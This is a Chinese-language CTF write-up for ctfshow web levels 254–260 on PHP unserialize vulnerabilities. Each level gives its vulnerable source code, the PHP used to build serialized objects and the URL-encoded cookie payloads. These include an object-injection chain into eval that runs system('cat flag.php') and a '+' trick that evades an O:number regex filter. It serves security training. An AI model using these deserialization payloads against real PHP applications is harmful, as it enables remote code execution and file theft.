ctfshow web入門 反序列化
阿新 • • 發佈:2021-02-14
文章目錄
web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag ;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username ,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
payload:
?username=xxxxxx&password=xxxxxx
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
想要得到flag,需要觸發vipOneKeyGetFlag()
函式,需要讓isVip
這個引數為true
,也就是在序列化時,要讓isVip=true
序列化程式碼:
<?php
class ctfShowUser{
public $isVip=true;
}
$a=new ctfShowUser();
$b=serialize($a);
echo urlencode($b);
?>
payload:
?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
這題不僅僅需要get傳username和password,還需要cookie傳一個序列化後的user,可以用burp抓包,在裡面將cookie值改為"user=xxxxxx"。(注意:這個值需要經過url編碼)
web256
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析程式碼,這題和上一題的區別就是get傳入的username和password必須不相等。
序列化程式碼:
<?php
class ctfShowUser{
public $username='shyshy';
public $password='xxxxxx';
public $isVip=true;
}
$a=new ctfShowUser();
$b=serialize($a);
echo urlencode($b);
?>
payload:
?username=shyshy&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22shyshy%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
這題eval函式在類backDoor中,可以用類ctfShowUser中的建構函式__construtc()來建立一個新的backDoor物件,在利用backDoor的變數$code來執行cat flag.php
序列化程式碼:
<?php
class ctfShowUser{
private $class = ' ';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat flag.php");';
}
$a=new ctfShowUser();
$b=urlencode(serialize($a));
echo $b;
payload:
?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
web258
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
這題想過濾“O:數字”的格式,只需要在數字前加一個+,就可以繞過
序列化程式碼:
<?php
class ctfShowUser
{
public $class ;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor
{
public $code='system("cat flag.php");';
}
$a=new ctfShowUser();
$b=urlencode(serialize($a));
echo $b;
payload:
?username=xxxxxx&password=xxxxxx
user=O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
web259
大佬的部落格看的我有點懵逼,日後一定補上。
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
上一題和這一題之間的跳躍有點大,這題就是序列化的前面要有字串ctfshow_i_love_36D
,那直接get傳這個字串就行
payload:
?ctfshow=ctfshow_i_love_36D